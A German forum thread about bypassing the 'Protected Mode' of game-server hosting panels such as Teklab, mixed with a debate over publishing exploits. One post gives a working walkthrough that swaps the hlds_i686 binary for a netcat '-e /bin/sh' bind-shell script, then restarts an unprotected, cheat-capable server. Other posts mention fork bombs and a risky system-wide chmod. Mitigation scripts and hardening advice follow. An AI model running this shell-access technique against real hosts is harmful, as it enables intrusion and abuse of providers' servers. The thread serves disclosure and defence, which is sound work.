sourceserver.info

Wollte mich gerade bei **** einloggen, um etwas nachzusehen. Da kam folgende Meldung:

Quoted

You have been permanently banned from this board.

Please contact the Board Administrator for more information.

Reason given for ban: mit Ulrich und Verbreitung von Unwahrheiten. In seinem Block wird aufgezeigt, dass der Protection Modus angeblich falsch ist aber bei ****, wenn man die Anleitung befolgt funktioniert. Dumm nur dass es reine FTP Einstellungen sind und es demnach nicht an der SOFTWARE **** liegt und mit der Anleitung auf **** sicher ist, was aber verschwiegen wird. Vielleicht erst denken, dann schreiben und zustimmen

A ban has been issued on your username.

Wenn man ein Gesamtpaket verkauft, sollte man auch dafür sorgen, dass es in unterschiedlichen Umgebungen sicher ist. Gehören nicht auch die FTP-Regeln dazu, die vom Installationsscript teilweise gesetzt werden. Leider sind diese unvollständig. Ich konnte aber auch leider keine genaueren Hinweise zum Absichern des Protected-Mode finden.

Meiner Meinung ist es fahrlässig den Kunden darüber im Unklaren zu lassen, was es für eine Auswirkung hat, wenn ein Mieter z.B. in das Kundenverzeichnis via FTP schreiben darf. Unser Problem ist es nicht die Sachen in den Griff zu bekommen. Wir werden den Providern Vorschläge für mögliche Lösungen geben. Eine möglicher Workaround wurde bereits vor langer Zeit veröffentlicht, welcher den Aufwand erheblich erhöht, aber einfach zu realisieren ist. Auch sind andere FTP-Regeln vorgeschlagen worden. Leider sind diese Vorschläge wohl immer noch nicht von jedem umgesetzt worden. Die Provider werden sich oftmals auch an Sie richten, da das **** ja eigentlich von Ihnen als "Protected" angeboten wird. Die Meinung werden sich die Kunden dann selbst bilden. Letztendlich kommt es auf ihre Flexibilität und die Bearbeitungszeit für etwaige Nachbesserungen bzw. Änderungen an. Wir werden als Tester in der Sache jedes mal Neutral bleiben. Da wir ja bereits die Lücken kennen, wird es für uns aber auch nicht viel Zeit in Anspruch nehmen. Vielen Dank, dass sie es uns wirklich so einfach machen.

Den restlichen Teil kann sich der Entwickler ersparen zu lesen. Ich weiß, dass er es tun wird und ich weiß auch wer hinter den Beiträgen von TomTom steckt. Da Sie aber keinerlei Einsicht zeigen, ist der restliche Teil der Nachricht auch nicht direkt an Sie gerichtet. Da es unter anderem auch einige Provider lesen werden, die über eine neue Strategie nachdenken, könnte folgendes vielleicht etwas aufschlussreich sein. Ich bezweifle sehr stark, dass Sie den kommenden Anforderungen des GSZ gerecht werden können, da ich diese Inhaltlich kenne und weiß wie Sie zur Zeit den Protected-Mode verwirklichen.

Eins vorweg: Provider, die sich das Sicherheitszertifikat ersparen wollen, sollten den restlichen Teil dennoch lesen, da es auch um die Sicherheit des Hosts geht.

Ich nenne mal paar Beispiele, in denen der Server mit einem ServerSideHack im Protection-Mode gestartet werden kann:

1. Plugin des Cheatentwicklers wird vom ungeschützten Server gestartet, welches den eigentlichen Hack an eine Stelle kopiert auf die der GS Zugriff hat und worauf auch der Protected-Server zugreifen darf. Danach wird der GS als Protected-Server gestartet. Nach 10 Minuten (bei **** findet jedes mal eine Vollinstallation statt) sollte der Server dann erreichbar sein. Aufgrund dieser Tatsache, muss das Plugin an eine Stelle verschoben werden, die sich außerhalb des Gameserververzeichnisses des Protected-Servers befindet. Weil einige Provider den Befehl plugin_load immer noch nicht unterbunden haben und es anscheinend von Taklab auch nicht standardmäßig gesetzt wird, kann man das Plugin dann bequem nachladen. Technisch unversierte Cheater geben dem Cheatcoder dann die Zugangsdaten, damit derjenige den Hack installieren und kann. Früher hatte man z.B. auch /tmp als Dateiablage verwendet.
2. Der Server wird im Protected-Modus gestartet und der Serveradmin kopiert dann sein Plugin via FTP einfach in sein Kundenverzeichnis. Das Plugin lädt er dann mit plugin_load.
3. In dem Fall, dass plugin_load unterbunden ist, sucht sich der Hacker einen anderen Weg. Man lädt dafür im Unprotected-Mode ein modifiziertes Plugin. Man versucht dann die valve.rc des Protected-Servers mit einem Plugin durch eine andere modifizierte valve.rc zu ersetzen.
4. Sollte wie bei **** der Server jedes mal neu installiert werden, wenn dieser in den Protection-Mode gestartet wird und der Protection-Mode plugin_load unterbunden wird, muss man einen anderen Weg gehen. Dies kann z.B. so aussehen, dass man z.B. die Startscripte des normalen Gameservers ändert. Dies kann einmal mit einem Serverplugin selbst geschehen oder direkt über FTP, falls der Anbieter nicht eigene Regeln gesetzt hat. Sobald man in der Lage ist Programme mit dem Startscript auszuführen, stehen einem viele Wege offen. Die Möglichkeiten beschränken sich auf die verfügbaren Programme des Hosts, den Verzeichnisberechtigungen und der Fantasie des Hackers. Ein weg wäre z.B. sich eine Shell zu öffnen, die im Hintergrund geforkt wird und dann auch weiterläuft, wenn der Gameserver beendet worden ist. Dann kann man über den direkten Zugang die Verzeichnisstruktur bestimmten, bequem den Prozess des Protected-Servers killen und den normalen Server starten oder Pornos herunterladen.
5. Ein weiterer Weg wäre ein Plugin, welches eine Shell öffnet oder Prozesse starten kann. Darüber hätte man die gleichen Möglichkeiten wie im zuvor beschrieben Beispiel.

Manche beschriebene Szenarios sind Gedankenexperimente. Die Möglichkeit des Shellzugangs stellt eine potenzielle Gefahr für den Anbieter dar. Sofern der Kunde ein versierter Linux-Nutzer ist, kann sich dieser auch so auf dem Server bewegen, dass es nicht auffällt. Dies hat auch weniger mit dem Protection-Mode zu tun, würde es aber auch ermöglichen diesen dadurch auszuhebeln.

Die einfachste beschriebene Möglichkeit ist die Möglichkeit mit dem Upload des Plugins in das Kundenverzeichnis. Genau an diesem Punkt werden die Cheatcoder/Cheater zuerst ansetzen.

Man muss bedenken, dass der Gameserver alles kann, was der User darf. Das fängt beim kopieren, verschieben, löschen und anlegen von Dateien und Verzeichnissen an, herunterladen von Dateien via wget oder curl, das Ausführen von Perl/Python-Scripten, Prozesse steuern und starten, screen killen und hört beim Öffnen von Ports (UDP/TCP) auf.

Vielmehr sollten Provider primär darüber nachdenken, ob es nicht sicherer ist einen Gameserver generell im Chroot laufen zu lassen, auch wenn dies um einiges komplizierter ist. Daneben sollten Protected-Mode-Server in einem anderen Chroot gestartet werden. Dadurch hat man beide Arten der Gameserver voneinander gekapselt. Sollte man mit Symlinks und einer Master-Slave-Struktur arbeiten, muss ein Script in der Lage sein den Master-Server mit "mount -o bind" in ein Verzeichnis des Chroots zu mounten. Es sollte aber in jedem Fall gewährleistet sein, dass der Kunde und auch der GS selbst die Daten des Master-Servers nicht verändern darf. Eine Firewall mit entsprechen Regeln wäre auch sehr wichtig. Die Umsetzung eines Chroots ist generell sehr einfach. Die Umsetzung eines sicheren Chroots erfordert schon mehr Arbeit. Unter anderem geht es um das Selektive auswählen von Programmen, Libs und Geräte/Ressourcen unterhalb von /dev und /proc. Zuletzt dann auch noch dafür sorgen zu müssen, dass alles aktuell gehalten wird, ist keine einfach zu lösende Aufgabe. Sie lässt sich aber selbst mit gut strukturierten Shell-Scripts lösen.


Da es schon spät ist, werde ich hier an dieser Stelle abbrechen zu schreiben.

nobody's perfect vielleicht versteht man die technik die aufgezeigt wurde wenn man in nem jahr nochmal über den blogpost stolpert.

Hatte den Beitrag nochmal editiert....
Auch wenn ich Gleitzeit hab, muss ich so langsam ins Bett.

Quoted from "MadMakz"

btw. ohne "quelloffene" exploit listen, z.b. wie milw0rm, wäre das internet nur vielleicht 1/3 oder weniger so sicher wie es ist.

das ist nicht richtig. in wahrheit ist es eigentlich eher verpöhnt, nutzbare exploits offen zu posten. es reicht vollkommen, auf die sicherheitslücke hinzuweisen. das kann und sollte man offen tun, nachdem man den betroffenen die gelegenheit gegeben hat, die lücken zu schließen. einen nutzbaren exploit zu posten macht aber einfach keinen sinn, außer man will entweder provozieren oder hackern helfen.

btw, ich verstehe die ganze aufregung nicht so ganz. eigentlich ist es doch ganz simpel. wenn man die installation des servers nie verändern konnte (dafür reicht doch ein einfacher schreibschutz via Linux rechtevergabe), plugin_load unterbunden ist und außerdem sichergestellt wird, dass tatsächlich der richtige server läuft, ist es doch wassderdicht.

achja: wenn man überhaupt plugins installieren kann auf dem selben root (anderer server oder unprotected modus), ist das so gut wie ein shellzugang mit den rechten, mit denen der server ausgeführt wird (es gibt plugins, mit denen man shell-befehle per rcon ausführen kann...). shellzugang verbieten ist also security by obfuscation, mehr nicht...

Handlungsbedarf besteht nur solange der Kunde Zugriff via FTP hat und andere ungeschützte Server auf dem Host laufen. In dem Fall können wieder die Protected-Server von einem Unprotected-Server kompromittiert werden. Dies trifft bei den Hostern bei 99,99% zu.

Ich möchte dich mal sehen, wie du es den Hostern verklickerst, dass sie ihre Protected-Mode Server physikalisch von den anderen trennen müssen. Viel Erfolg.

Über den Rest diskutiere ich nicht mehr weiter. Du vertrittst deine Ansicht, ich meine. Meine Ansicht bezüglich veröffentlichen von Exploits wird sich auch nicht ändern.

IT lebt durch I !
Gute Arbeit

Ich finde dennoch nicht den Open-Source Bereich ...

Quoted from "BehaartesEtwas"

Quoted from "MadMakz"

btw. ohne "quelloffene" exploit listen, z.b. wie milw0rm, wäre das internet nur vielleicht 1/3 oder weniger so sicher wie es ist.

das ist nicht richtig. in wahrheit ist es eigentlich eher verpöhnt, nutzbare exploits offen zu posten. es reicht vollkommen, auf die sicherheitslücke hinzuweisen. das kann und sollte man offen tun, nachdem man den betroffenen die gelegenheit gegeben hat, die lücken zu schließen. einen nutzbaren exploit zu posten macht aber einfach keinen sinn, außer man will entweder provozieren oder hackern helfen.

btw, ich verstehe die ganze aufregung nicht so ganz. eigentlich ist es doch ganz simpel. wenn man die installation des servers nie verändern konnte (dafür reicht doch ein einfacher schreibschutz via Linux rechtevergabe), plugin_load unterbunden ist und außerdem sichergestellt wird, dass tatsächlich der richtige server läuft, ist es doch wassderdicht.

achja: wenn man überhaupt plugins installieren kann auf dem selben root (anderer server oder unprotected modus), ist das so gut wie ein shellzugang mit den rechten, mit denen der server ausgeführt wird (es gibt plugins, mit denen man shell-befehle per rcon ausführen kann...). shellzugang verbieten ist also security by obfuscation, mehr nicht...

vorweg nochmal: es ist kein problem das alleine den protection modus betrifft.

im falle von source ist dies aber umöglich da man nicht 200 hoster alleine anschreiben kann. es fehlt ein zentralisiertes forum bzw. mailinglist mit ausschließlich verifizierten membern.

und offene listen beschleunigen in der tat das fixen von sicherheitslücken. da a) mehr menschen an der diskussion, somit an einer lösung, teilnehmen können b) die betroffene software bzw. der umstand genötigt wird gepatcht zu werden und die lücke nicht bis zum nächsten patchday in 6 monaten offen bleibt.

wenn es ein sicherheitsproblem nur einer bestimmten applikation ist, wie z.B. ein leck in phpmyadmin, dann macht es natürlich durchaus sin zuerst den betreiber zu informieren.

aber auch in diesen fällen wurde schon oft genug bewiesen das erst gehandelt wurde nachdem der exploit author nach einiger vorlaufzeit den exploit öffentlich machte.

wie auch immer, wenn ein GSP nicht innerhalb einer woche es schafft eigene maßnahmen einzuleiten ist er für mich einfach inkompetent und stur. geld verdienen als GSP ist schon einfach genug, sorry wenn man dann im jahr 2-3 mal den kopf anstrengen muss.

und teklab sollte nachbessern, es ist eine automatiesierungssoftware und als erste und letzte instanz für den gameserverbetrieb zuständig. muss daher auch klären ob der gestartete server auch valide ist.
neben teklab gillt das natürlich für alle momentan erhältliche pannel wie tcadmin, gamecp, igp, ogp, gpx und wie sie alle heisen.

ich wundere mich selbst jedesmal das immer tekbase genannt wird aber ich denke mal dies liegt einfach daran das es wohl das meistgenutzte gsp panel deutschlands ist.

für das gesammtsystem ist natürlich jeder provider sein eigener herr und für sicherheit verantwortlich.

möchte hier auch mal den vorteil von freier oder proprietärer open source software betonen dort hätte es einer von uns oder jemand andetes schon kostenlos gepatcht.

wie auch immer, mehr sag ich zu diesem thema auch nicht mehr. soll jeder machen was er will, ich bin jedenfalls sehr interresiert an etwaiigen sicherheitslücken da ich hin und wieder auch fremdsoftware einsetze um damit öffentliche zugänge zu schaffen, z.b. habe ich schon des öfteren gameserver als privat gesponsort.
und woher sollte ich als privatperson dann von sicherheitslücken wind bekommen wenn diese nicht öffentlich zugänglich sind oder 2-7 tage im patchlog eines hotfix finde.

auserdem heist ein exploit nicht das er sofort zu tausenden ausgenutzt wird. die meisten werden erst als penetration genutzt wenn keine reaktion auf lösung erfolgt.
dazu ist gerade dieses problem leicht zurückverfolgbar. dem kunden ist schnell gekündigt, eine anzeige schnell geschrieben. es ist ja nichtmal ein exploit, eher ein feature was ausgenutzt werden kann, wie es einst mit sv_allowupload war.

ansonnsten das MM:S, SM und ES team anschreiben eine unterbindungsfunktion einzufügen die das überschreiben von standart runscripts und binaries unterbindet. wobei sich das wieder dem "freiheits" gedanken hinter diesen tools wiederspricht.

lustig, was hier alles für halbwahrheiten aufkommen. es hilft a) nicht, jede einzelne lücke zu schließen, weil es werden immer neue wege gefunden, dann den schutz zu umgehen. genausowenig muss man b) irgendwas physikalisch trennen, denn (solang man keinen ungepatchten kernel < 2.6.32 einsetzt) die Linux rechteverwaltung funktioniert einwandfrei. aber diese müsste man erstmal verstanden haben, um damit einen server effektiv zu schützen...

es sind keine halbwahrheiten und userrechte wurden auch schon des öfteren angesprochen. ich habe auch nie davon geredet das jede lücke geschlossen wird, werden kann, geschweigedem überhaupt mal gefunden wird (vor allem bei closed-source).

mal zu den userrechten, im falle teklab z.b., werden die server automatisch installiert und user angelegt. tekbase regelt dabei aber KEINE lese und schreib rechte (zumindest als ich es zuletzt verwendet habe, das war mit v5.1).
das gleiche kann ich über 4 weitere panels ausagen: gamecp, igp, swiftpanel, gamepanelx

jetzt frage ich mich, wenn ich ein Wi nutze, welches automatisiert ist, danach aber bei jedem server nochmal selbst handanlegen muss, wozu brauch ich dann ein panel was die GS automatisch installiert? es ist also in dem fall ein problem, bzw. fehlendes feature, der panels, nicht des anwenders.

auserdem ist dieses ganze problem hier wie gesagt wirklich ein low-level risiko da es nicht anonym durchfürbar ist.

es sollte auch jedem seit jahren klar sein das man mit ES und dessen kompletter python implementierung weitaus mehr schaden anrichten kann als mit SM alleine und nichtmal eine einzige datei überschreiben müsste um einen , FTP, P2P client oder botnet zu hosten.

wer hacken will wird weiter hacken und wege finden.

so, das war es aber echt jetzt von mir hier

<3 und wer sich jetzt noch beschießt bitte nur mit watte ja?! ist doch ein ort der liebe hier, richtig? rischtiig!!! <3

Quoted from "BehaartesEtwas"

es hilft a) nicht, jede einzelne lücke zu schließen, weil es werden immer neue wege gefunden, dann den schutz zu umgehen.

Deswegen der Vorschlag mit dem Chroot. Ansatzweise hätte der erste Vorschlag mit dem Alias den Cheatern Steine in den Weg gelegt. In den Foren gibt es auch tolle Tipps zu welchen Providern man gehen soll.

Quoted from "BehaartesEtwas"

genausowenig muss man b) irgendwas physikalisch trennen, denn (solang man keinen ungepatchten kernel < 2.6.32 einsetzt) die Linux rechteverwaltung funktioniert einwandfrei.

Mögliche Lösung: find / -type d -user root -perm 1777 2>/dev/null | xargs chmod 0770
Hab jetzt aber nicht wirklich Lust das auch noch auszuprobieren. Auswirkungen wird es definitiv haben. Welche es haben wird, wirst du dann sehen wenn verschiedene Dienste und Anwendungen nicht mehr funktionieren.

Wen das dann gefixt ist, suchen wir das Nächste. Tief genug graben du musst, dann Öl du findest junger Padawan.

Quoted from "BehaartesEtwas"

lustig, was hier alles für halbwahrheiten aufkommen

Lustig, wie viele Provider schon beim Test durchgefallen sind. Das ging von ganz einfach bis extrem kompliziert. Das das WI eines ganz bestimmten Anbieters ziemlich oft durchgefallen ist, mag wohl daran liegen, dass es so weit verbreitet ist.

Wenn du Zeit und Lust hast, kannst du ja ein Gesamtkonzept zu Absicherung der Gameserver schreiben. Da es ja nur eine Sache der Berechtigungen ist, wird das ja nicht kompliziert werden. Am besten noch passend für Anbieter mit Symlinks (Master-Salve-Struktur) und für *****-Hoster. Dann wird der gröbste Mist abgedeckt sein.

PS: Bitte so schreiben, dass es die *****-Hoster auch verstehen und ohne Probleme umsetzen können, weil der Entwickler sagt ja, dass es nicht an seinem System liegt. Ob sich etwas ändern wird, kann nur er selbst entscheiden.

PPS: Ich sage voraus, dass es wie bei Mani vs. SourceMod laufen wird. Einen harten Kern wird es weiterhin geben aber letztendlich setzt sich etwas durch, was im Aufbau flexibler ist.

nö, da hab ich keine zeit für.

Webinterface: Teklab (andere möglicherweise auch)
Spiel: CS1.6
Art: Shellzugang

Beschreibung:

• hlds_i686 nach hlds_i686_2 umbenannt
• hlds_i686 mit folgendem Inhalt erstellt:
  

  	Source code
  1 2 3 4 5 6 7 8 9 10 11 12	access() { while true; do nohup netcat -e /bin/sh -ln -s IP-DES-GAMESERVER -p GAMESERVERPORT+1 IP-DES-ZUGREIFENDEN-HOSTS &> /dev/null [ $? -eq 0 ] && break sleep 2 done } if ! `ps u | grep -q netcat`; then which netcat >/dev/null && access & touch ~/rdy fi ./hlds_i686_2 $@

• Berechtigungen von hlds_run auf 755 stellen
• Server neustarten und nachsehen, ob die Datei "rdy" im Kundenverzeichnis erstellt worden ist
• Über einen Client (Linux) den Befehl netcat starten, um auf die geöffnete Shell zuzugreifen
  

  	Source code
  1	netcat IP-DES-GAMESERVERS PORT-DES-NETCAT-DAEMON

• 	Source code
  1 2	whoami #es sollte der Username ausgegeben werden

• Server beenden, den Protection-Mode starten und Kaffe trinken
• Nach dem Kaffee folgenden Befehl eingeben, wenn der Server online ist
  

  	Source code
  1	ps aux | grep SCREEN | grep GAMESERVERIP | grep GAMESERVERPORT

• Alles nach SCREEN kopieren
• Gameserver stoppen
• Mit pwd kontrollieren wo man sich befindet, man sollte noch im Unprotected-Serververzeichnis sein. Falls nicht, mit cd dort hinwechseln
• Gameserver aus dem normalen Verzeichnis starten. Dazu folgendes eingeben:
  

  	Source code
  1	screen DANN_DEN_KOPIERTEN_TEIL

Schon hat man den alten Gameserver wieder gestartet. Diesen könnte man dann z.B. mit einem ServersideHack starten.

Folgende Punkte begünstigen den Zugriff

• Berechtigungen für chmod via FTP
• Kein Schutz der Startscripte und der ausführbaren Binärdateien
• schwache Firewall

Mögliche Lösungen

• andere FTP-Regeln: Ulrichs Beitrag (Anmerkung: DIRS sollte nicht global untersagt werden), Direktiven von ProFTPd auf deutsch und englisch
• Alle Prozesse des Users killen, sobald einen Gameserver beendet wird:
  

  	Source code
  1	killall -qu server

  
  Das sollte man nur durchführen, wenn der Kunde nur einen Gameserver in seinem Account hat.
  Nachdem ich ein bisschen gekramt habe, fand ich in meiner alten Scriptsammlung ein paar passende Funktionen gefunden.
  killscreen.sh:
  

  Source code

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39

  search_pids () { if [ "$1" == "$pid" ]; then break fi pgrep -P "$1" | while read process; do echo -n "$process " search_pids $process done } get_screen_name () { if [ $USER = "root" ]; then su -c "screen -ls" $daemon_user | grep [.]$screen_name[[:space:]] | awk '{print $1}' else screen -ls | grep [.]$1[[:space:]] | awk '{print $1}' fi } get_screen_pid () { get_screen_name $1 | cut -d '.' -f1 } killscreen () { screenpid="$(get_screen_pid $1)" pids="$(search_pids "$screenpid")" echo "kill $pids" #auskommentieren, wenn funktionsfähig #kill "$pids" #auskommentieren, wenn funktionsfähig } killscreen $1 # Aufruf: # ./killscreen.sh screenname #

  
  Das Script killt alle Childs des Screen inkl. den Screen selbst. Bis jetzt nicht ausreichend getestet. Sollte irgendjemanden bekannt sein, wie man das abkoppeln von Prozessen beim Screen verhindern kann, wäre das sehr hilfreich es zu wissen.
• Wichtige Dateien des Gameservers einem anderen User zuweisen oder die Berechtigungen ändern und hoffen, dass Plugins diese nicht ändern werden. Die Schreibrechte des Serververzeichnisses, in dem sich die Startscripte befinden, das Schreibrecht für alle entfernen. Dazu bitte die Unix-Dateirechte genau durchlesen.
  
  Eine recht billige Lösung wäre es die Dateien nach dem Beenden des Servers zu löschen (nur Startscripte und Binärdateien) und den Steamupdater seine Arbeit machen zu lassen. Gerade schnell ist die Methode nicht.
  Da Teklab von Haus aus immer noch nicht mit Symlinks arbeitet, macht es auch wenig Sinn dort anzusetzen.
• Restriktive Firewalleinstellungen. Leider bin ich zur Zeit selber etwas Ratlos, wie das so einfach wie möglich und so durchgeführt werden kann, dass es nicht durchlässig wie ein Schweizer Käse ist. Man muss auch bedenken, dass auch der Server eine Verbindung zum Client aufbauen kann (reverse Shell)

PS: Arschlöcher könnten eine Fork-Bomb loslassen. Da fast niemand die maximale Anzahl der Prozesse begrenzt, ist es fast überall wirksam. Als Schutz sollte man die Anzahl der Prozesse pro User mit ulimit -u limitieren.
Hinweis für diejenigen, die das jetzt alle ausprobieren wollen: Es ist illegal.

sorry, da muss ich jetzt aber auf ein meme zurückgreifen...


(wenn unerwünscht bitte löschen, dann weis ich bescheid)